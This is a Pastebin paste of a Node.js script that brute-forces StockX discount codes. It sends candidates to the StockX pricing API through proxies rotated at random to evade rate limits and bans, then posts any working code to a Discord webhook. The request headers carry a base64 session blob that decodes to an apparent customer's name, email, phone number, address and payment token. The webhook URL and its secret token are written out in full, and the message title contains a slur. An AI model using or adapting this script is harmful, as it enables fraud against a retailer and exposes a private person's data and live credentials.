Advertisement
Guest User

Untitled

a guest
Jul 21st, 2019
166
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.68 KB | None | 0 0
  1. const requests = require('request');
  2.  
  3.  
  4. // let counter = -1;
  5. let counter = -1;
  6. function gen() {
  7. if(counter < comb.length) {
  8. check(counter + 1)
  9. counter++;
  10. }
  11. return;
  12. }
  13.  
  14. function check(i) {
  15. setTimeout(function() {
  16. let code = `STXCHI5${comb[i]}`;
  17. checkCode(code);
  18. gen();
  19. }, 100)
  20. }
  21.  
  22. function checkCode(code) {
  23. let proxy = proxies[Math.floor(Math.random() * proxies.length)];
  24. const proxySplit = proxy.split(':');
  25. var proxyUrl = "";
  26. // set proxy url to use in the request
  27. if (proxySplit.length == 2) {
  28. proxyUrl = "http://" + proxySplit[0] + ":" + proxySplit[1];
  29. } else {
  30. proxyUrl = "http://" + proxySplit[2] + ":" + proxySplit[3] + "@" + proxySplit[0] + ":" + proxySplit[1];
  31. }
  32. // set proxy to the request object
  33. const request = requests.defaults({
  34. proxy: proxyUrl
  35. });
  36.  
  37. //send request to stockx checking if code exists
  38. var options = {
  39. method: "POST",
  40. url: `https://stockx.com/api/pricing?currency=USD`,
  41. headers: {
  42. 'postman-token': 'e7c68945-2928-5267-d2f4-01e22c8f29d5',
  43. 'cache-control': 'no-cache',
  44. accept: '*/*',
  45. appos: 'web',
  46. appversion: '0.1',
  47. 'content-type': 'application/json',
  48. 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36',
  49. 'grails-user': 'eyJDdXN0b21lciI6eyJCaWxsaW5nIjp7ImNhcmRUeXBlIjoiUGF5UGFsIiwidG9rZW4iOiJrajJ3dzJwIiwibGFzdDQiOm51bGwsImFjY291bnRFbWFpbCI6InIuaW5mYW50ZTA0MDdAZ21haWwuY29tIiwiZXhwaXJhdGlvbkRhdGUiOm51bGwsImNhcmRob2xkZXJOYW1lIjoiUm9iZXJ0byBJbmZhbnRlIiwiQWRkcmVzcyI6eyJmaXJzdE5hbWUiOiJSb2JlcnRvIiwibGFzdE5hbWUiOiJJbmZhbnRlICIsInRlbGVwaG9uZSI6IjUxOTMxODkxNDMiLCJzdHJlZXRBZGRyZXNzIjoiTG9uZG9uIiwiZXh0ZW5kZWRBZGRyZXNzIjoiMTM1IEJlbG1vbnQgRHIgVW5pdCAxOCIsImxvY2FsaXR5IjoiTG9uZG9uIiwicmVnaW9uIjoiT04iLCJwb3N0YWxDb2RlIjoiTjZKIDRKMyIsImNvdW50cnlDb2RlQWxwaGEyIjoiQ0EifX0sIlNoaXBwaW5nIjp7IkFkZHJlc3MiOnsiZmlyc3ROYW1lIjoiUm9iZXJ0byIsImxhc3ROYW1lIjoiSW5mYW50ZSAiLCJ0ZWxlcGhvbmUiOiI1MTkzMTg5MTQzIiwic3RyZWV0QWRkcmVzcyI6IkxvbmRvbiIsImV4dGVuZGVkQWRkcmVzcyI6IjEzNSBCZWxtb250IERyIFVuaXQgMTgiLCJsb2NhbGl0eSI6IkxvbmRvbiIsInJlZ2lvbiI6Ik9OIiwicG9zdGFsQ29kZSI6Ik42SiA0SjMiLCJjb3VudHJ5Q29kZUFscGhhMiI6IkNBIn19LCJ1dWlkIjoiYzlmYTY0MGItN2U4YS0xMWU2LWIzMTYtMTJjZGExYzliNmE1IiwiaWQiOiI2OTExMCIsImhhc0J1eWVyUmV3YXJkIjpmYWxzZX19',
  50. origin: 'https://stockx.com'
  51. },
  52. body: {
  53. context: 'buying',
  54. products: [{
  55. sku: "75098274-0b8b-4cc1-9159-9ed659ad31fe",
  56. amount: 11000,
  57. quantity: 1
  58. }],
  59. discountCodes: [code]
  60. },
  61. json: true
  62. };
  63. request(options, function(error, response, body) {
  64. // let data = JSON.parse(body);
  65.  
  66. if (body) {
  67. let discountStatus = (body.discount_error);
  68. if (response.statusCode != 200) {
  69. console.log(response.statusCode);
  70. console.log("Banned... Proxy");
  71. return;
  72. } else {
  73. console.log(`testing: ${code}`);
  74. console.log(discountStatus);
  75. if (discountStatus && (discountStatus != `The discount code '${code}' is invalid.`) && (discountStatus != `The discount code \\'${code}\\' is invalid.`)) {
  76. if (JSON.stringify(body).includes("rate limited")) {
  77. console.log("Banned. Proxy");
  78. return;
  79. } else {
  80. console.log("Success! ?");
  81. sendSuccess(code, body);
  82. }
  83. } else {
  84. // console.log(body)
  85. }
  86. }
  87. }
  88. });
  89. }
  90.  
  91.  
  92. function sendSuccess(code, body) {
  93. var options = {
  94. method: 'POST',
  95. url: 'https://discordapp.com/api/webhooks/602348067349463040/6Puu7Ik0PjAMlJ0MogpfV-67mhjGMwp2F6ntzXDHl6pwK1Nk7-CEru75whkXKbudo7Ca',
  96. headers: {
  97. 'postman-token': '73e3cd02-b0b8-f1a2-b4cb-8a3f7fd01d80',
  98. 'cache-control': 'no-cache',
  99. 'content-type': 'application/json'
  100. },
  101. body: JSON.stringify({
  102. username: "DYNX's Dad (ROBERTO)",
  103. avatar_url: "https://pbs.twimg.com/profile_images/1146261498488086528/4wT1rB7V_400x400.png",
  104. embeds: [{
  105. author: {
  106. name: "Stock X Sniper",
  107. icon_url: "https://pbs.twimg.com/profile_images/1146261498488086528/4wT1rB7V_400x400.png"
  108. },
  109. title: "Found Code faggot",
  110. color: 55296,
  111. fields: [{
  112. name: "Code",
  113. value: code,
  114. inline: false
  115. },
  116. {
  117. name: "Body",
  118. value: JSON.stringify(body),
  119. inline: false
  120. }
  121. ]
  122. }]
  123. })
  124. };
  125.  
  126. requests(options, function(error, response, body) {
  127. if (error) throw new Error(error);
  128. console.log(body);
  129. });
  130. }
  131.  
  132. console.log(`Loaded: ${proxies.length}`)
  133. gen();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement